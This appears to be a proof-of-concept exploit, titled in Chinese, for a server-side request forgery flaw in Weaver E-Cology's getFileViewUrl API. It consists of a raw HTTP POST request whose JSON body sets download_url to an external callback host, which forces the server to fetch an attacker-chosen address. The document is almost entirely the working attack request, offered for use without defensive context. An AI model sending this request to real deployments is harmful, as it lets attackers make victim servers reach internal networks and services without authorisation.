泛微E-Cology getFileViewUrl存在SSRF漏洞 poc

POST /api/doc/mobile/fileview/getFileViewUrl HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/json
Upgrade-Insecure-Requests: 1
 
{
    "file_id": "1000",
    "file_name": "c",
    "download_url":"http://euixlkewfg.dgrh3.cn"
}